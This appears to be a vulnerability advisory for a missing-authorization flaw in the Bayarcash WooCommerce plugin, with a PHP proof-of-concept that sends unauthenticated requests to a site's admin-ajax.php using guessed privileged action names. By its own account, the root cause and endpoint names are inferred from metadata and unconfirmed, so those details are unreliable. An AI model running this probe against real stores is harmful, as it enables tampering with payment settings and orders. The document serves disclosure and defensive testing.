Atomic Edge analysis of CVE-2026-24606 (metadata-based):
The Bayarcash WooCommerce plugin for WordPress contains a Missing Authorization vulnerability in versions up to and including 4.3.12. This vulnerability allows unauthenticated attackers to execute privileged plugin functions. The CVSS:3.1 score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack with no authentication required, leading to integrity impact but no confidentiality or availability loss.
Atomic Edge research infers the root cause is a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a sensitive function. Without code diff confirmation, we conclude the vulnerable function likely registers via add_action() or add_filter() without a corresponding current_user_can() check. This pattern commonly occurs in AJAX handlers, admin_post endpoints, or REST API routes where the developer assumes authentication is already enforced elsewhere.
Exploitation involves sending a crafted HTTP request to the plugin’s vulnerable endpoint. Based on WordPress plugin conventions, the attack vector is likely an AJAX action accessible via /wp-admin/admin-ajax.php. The attacker would POST to this endpoint with action=bayarcash_wc_{function_name} and required parameters. Alternative vectors could include /wp-admin/admin-post.php or a custom REST API route under /wp-json/bayarcash/. The exact function name cannot be confirmed without source code, but the plugin slug suggests action parameters beginning with ‘bayarcash_wc_’.
Remediation requires adding proper capability checks before executing the sensitive function. The patched version 4.3.14 likely inserts a current_user_can() validation, possibly checking for ‘manage_options’ or a custom WooCommerce capability. Developers should also consider nonce verification for state-changing operations. WordPress security best practices mandate checking both capabilities and nonces for all privileged endpoints.
Successful exploitation allows unauthenticated attackers to perform unauthorized administrative actions. The integrity impact (I:L) suggests attackers can modify plugin settings, payment configurations, or transaction data. In a WooCommerce context, this could disrupt payment processing, alter order statuses, or manipulate gateway settings. While confidentiality and availability remain unaffected, the integrity compromise could lead to financial loss or operational disruption for affected stores.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24606 - Bayarcash WooCommerce <= 4.3.12 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24606
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php (most common)
* 2. Action parameter follows plugin slug pattern: bayarcash_wc_*
* 3. No authentication or nonce required in vulnerable versions
* 4. Additional parameters may be required for the specific function
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common vulnerable action names inferred from plugin slug
$possible_actions = [
'bayarcash_wc_update_settings',
'bayarcash_wc_process_action',
'bayarcash_wc_admin_operation',
'bayarcash_wc_save_config',
'bayarcash_wc_clear_cache'
];
echo "[+] Testing CVE-2026-24606 against $target_urlnn";
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'test_param' => 'atomic_edge_test' // Generic parameter for testing
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Testing action: $actionn";
echo " HTTP Code: $http_coden";
if ($http_code == 200 && !empty($response)) {
echo " Response: " . substr($response, 0, 100) . "...n";
// Check for success indicators
if (strpos($response, 'success') !== false ||
strpos($response, 'updated') !== false ||
strpos($response, 'true') !== false) {
echo " [POSSIBLE VULNERABLE] Received success responsen";
}
} else if ($http_code == 403 || $http_code == 401) {
echo " [LIKELY PATCHED] Authorization requiredn";
} else {
echo " [NO RESPONSE OR ERROR]n";
}
echo "n";
curl_close($ch);
sleep(1); // Rate limiting
}
echo "[+] PoC complete. Note: Actual exploitation requires knowing the exactn";
echo " vulnerable action name and required parameters, which cannot ben";
echo " determined from metadata alone.n";
?>
